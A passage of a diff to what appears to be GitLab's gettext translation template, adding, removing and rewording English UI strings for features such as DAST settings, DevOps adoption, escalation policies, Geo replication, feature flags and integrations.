msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
